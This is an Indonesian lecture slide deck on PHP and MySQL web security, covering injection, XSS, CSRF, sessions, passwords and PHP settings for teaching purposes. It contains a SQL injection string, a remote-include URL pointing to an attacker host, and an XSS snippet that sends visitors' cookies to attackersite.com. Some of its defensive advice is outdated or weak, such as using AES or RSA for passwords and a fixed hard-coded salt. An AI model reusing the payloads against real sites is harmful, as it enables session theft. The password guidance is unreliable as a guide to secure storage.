Web Security
Studi Kasus: PHP & MySQL
ARGA DINATA
Pendahuluan
• Web Security
– Goals: menjaga data yang bersifat privat, tetap menjadi privasi
Issues
• Secrets
– Menjaga kerahasiaan informasi
• Limited Resources
– CPU, memori, disk space, & bandwidth itu
terbatas. Jaga resources ini agar tidak dieksploitasi
• Good Netizenship
– Etika profesi, programmer & sysadmin tidak boleh melakukan hal yg merugikan sistem
Referensi
• Pro PHP Security 2nd Edition: Chris Snyder cs. • https://www.owasp.org
Resiko dan Celah Keamanan
• Injection
• Remote Execution
• Cross-Site Scripting (XSS)
• Cross-Site Request Forgery (CSRF)
• Authentication & Session
• Third Party Components
“Nothing is 100% Secure”
SQL Injection
$username = $_POST[‘username’];
$query = ‚SELECT * FROM pengguna WHERE username = ‘{$username}’‛;
/*
attacker memasukkan ‚arga’ OR ‘1’ = ‘1‛, sehingga query menjadi:
SELECT * FROM pengguna WHERE username = ‘arga’ OR ‘1’ = ‘1’
SQL Injection
• Tidak hanya $_POST, tapi bisa juga melalui
$_GET
• Yang lebih berbahaya jika injeksi dilakukan pada
SQL Injection Word List
• https://wfuzz.googlecode.com/svn/trunk/ wordlist/Injections/SQL.txt
Pencegahan
SQL Injection
• Escape karakter khusus menggunakan fungsi
mysql_real_escape_string()
• Agar semakin aman:
– Gunakan prepared statements &
parameterized queries (PDO / MySQLi)
– Cek tipe input dari user dengan fungsi
gettype()
– Pastikan jumlah row pada datasource sudah sesuai
Prepared Statements &
Parameterized Queries
$mysqli = new mysqli($hostname, $username,
$password, $database);
$nama = $_POST[‘nama’];
$stmt = $mysqli->prepare(‘SELECT * FROM pengguna WHERE nama = ?’);
$stmt->bind_param(‘s’, $nama);
Tools untuk Pengujian SQL Injection
• SQL Power Injector• Pangolin
• Web Cruiser
• SQL Map
Code Injection
• Memasukkan script dari host lain melalui
include()
• Misalkan ada URL
http://mysite.com/index.php?content=con tact.php
• Dimana index.php memiliki instruksi
include($_GET[‘content’])
• Attacker memasukkan URL seperti ini:
http://mysite.com/index.php?content=htt p://attackersite.com/injection.php
Code Injection
• Dengan kasus tsb., attacker bisa memperoleh informasi mengenai spesifikasi server dan PHP dari host menggunakan fungsi phpinfo()
Pencegahan
Code Injection
• Non-aktifkan parameter allow_url_include
pada php.ini
• Cek halaman sehingga yang dieksekusi hanya halaman yang valid saja
Remote Execution
• Mencoba melakukan eksekusi script secara langsung melalui fungsi-fungsi berikut:
– eval() – exec() – passthru() – proc_open() – shell_exec() – system()
Remote Execution
dari
Upload File
• Melalui upload file, attacker dapat
mengunggah script PHP atau file berbahaya yang lainnya
Pencegahan
Remote Execution
• Minimalisasi penggunaan fungsi-fungsi untuk mengeksekusi shell
• Cek ekstensi dari file-file yang di-upload
• Simpan upload file di luar document root
Cross-Site Scripting
(XSS)
• Memasukkan client-side script dari website
lain ke dalam website kita
• Tag HTML yang bisa diinjeksikan:
– <script>
– <object>
– <applet>
– <iframe>
Cross-Site Scripting
(XSS)
• Apa yang dilakukan oleh script injeksi tsb?
– Mencuri cookies
– Manipulasi DOM
– Redirect
– dll...
• Darimana injeksi dilakukan?
– Input user yang bersifat publik, dan script bekerja saat script ditampilkan (contoh: guestbook)
<style> html { height: 100% } body { height: 100% } </style> <div style=‚ position: absolute; top: 0; left: 0; background: White; width: 100%; height: 100% ‛>
<h1>Situs dalam perbaikan</h1> <a href=‚#‛
onclick=‚javascript:window.location=‘http://attackersite. com/cookies.php?cookie=’+document.cookie;‛>Klik di sini untuk melanjutkan</a>
Pencegahan XSS
• Encode HTML Entities menggunakan fungsi
htmlentities()
• Jika input user mengandung link, buat blacklist
Tools
untuk
Testing
XSS
• Web Cruiser
• Zed Attack Proxy (ZAP)
Cross-Site Request Forgery
(CSRF)
• Akses website dari host lain, tujuannya
melakukan aksi pada website secara otomatis (robot)
Pencegahan CSRF
• Menggunakan CSRF Token (POST maupun
GET) • Cek HTTP Referrer • Challenge-Response: – CAPTCHA – Re-Authentication – One-Time Token
User Authentication
• Buat otentikasi user agar halaman hanya dapat diakses oleh pengguna yang berhak • Untuk menghindari pencurian data &
Perusak
Website
• SPAMMER
– Pengguna yang melakukan posting konten yang bersifat promosi
• SCAMMER
– Pengguna yang melakukan posting hal-hal yang melanggar hukum: pornografi, SARA, dll...
• TROLL
– Pengguna yang melakukan bullying pada pengguna lain
Verifikasi Identitas Pengguna
• Simpan identitas pengguna agar:
– Mengurangi pengguna yang merusak
– Menghindari robot
– Jika ada pengrusakan, pengguna dapat dilacak
• Verifikasi dapat dilakukan melalui:
– SMS
Password
• Simpan password dalam bentuk yang sudah di-hash atau di-enkripsi
• Perhatikan panjang dan kompleksitas
password
• Sediakan fitur untuk mengubah dan reset
Hash
/ Enkripsi
Password
• Gunakan algoritma kriptografi yang kuat, seperti AES, RSA, atau SHA-256. MD5 dan SHA1 saat ini sudah termasuk yg lemah
• Gunakan algoritma yg sudah umum digunakan • Berikan kunci tambahan (salted)
• Ganti kunci tambahan tersebut secara periodik
Contoh Penyimpanan
Password
$key = ‘pwd_key_123*’;
$salted_pwd = $key.$password.$email;
Kriptografi
• Enkripsi, Hash, & Encode:
– Enkripsi: merahasikan pesan, dapat dikembalikan ke pesan semula menggunakan dekripsi
– Hash: merahasikan pesan, tidak dapat dikembalikan ke pesan semula
– Encode: mengubah pesan ke dalam bentuk lain agar dapat dibaca oleh sistem tertentu. Encode tidak digunakan untuk merahasiakan pesan
Symmetric vs Asymmetric Key
• Symmetric Key
– Pengirim dan penerima berbagi kunci rahasia yang sama
– Contoh: 3DES, AES, Blowfish, RC4
• Asymmetric Key
– Enkripsi dan dekripsi memiliki kunci masing-masing
User Access Control
• Interface yang berbeda-beda • User Group
User Log
• Apache Access Log:
– Linux: /var/log/httpd/apache-access_log/
– Windows: /apache/logs/
• Simpan log pengguna:
– Session ID
– Date Time
– User ID
Session
• Properti dari session:
– Session Key / Session ID
– Session Name
– Session Length
– Session Entropy
Session Hijacking
• Mencuri Session ID sehingga attacker bisa masuk ke halaman yg sama dengan victim
• Pencurian bisa dilakukan dengan:
– Packet Sniffing
– XSS Attack
– Man-in-the-Middle Attack
Man-in-the-Browser
• Hampir sama dengan Man-in-the-Middle
Attack, tetapi interupsi dilakukan oleh Trojan Horse yg menginfeksi web browser
Session Fixation
• Membuat victim menggunakan Session ID
yang telah diatur oleh attacker
• Caranya dengan mengirimkan link yang melakukan assignment cookie di victim
Pencegahan Session Hijacking & Fixation • Buat Session ID baru setiap pengguna login
• Ganti nama session (default: PHPSESSID)
• Simpan informasi user agent dan IP Address, cocokkan ketika ada request halaman
Third Party Components
• Penggunaan komponen developer lain
memiliki resiko dalam keamanan, terutama yang bersifat open source
• Hampir tidak mungkin kita tidak
menggunakan komponen pihak lain, jadi solusinya adalah tetap update untuk
PHP
Configuration
• register_global = Off • allow_url_fopen = Off • allow_url_include = Off • error_reporting = E_ALL • log_errors = On• display_errors = On (development), Off (production)
• magic_quotes_gpc = Off
• post_max_size, upload_max_filesize, memory_limit
Secure Socket Layer
(SSL)
• Protokol yang menggunakan kriptografi dalam pengiriman data, agar komunikasi lebih aman • Sekarang Transport Layer Security
• Kriptografi menggunakan kunci asimetris (asymmetric key)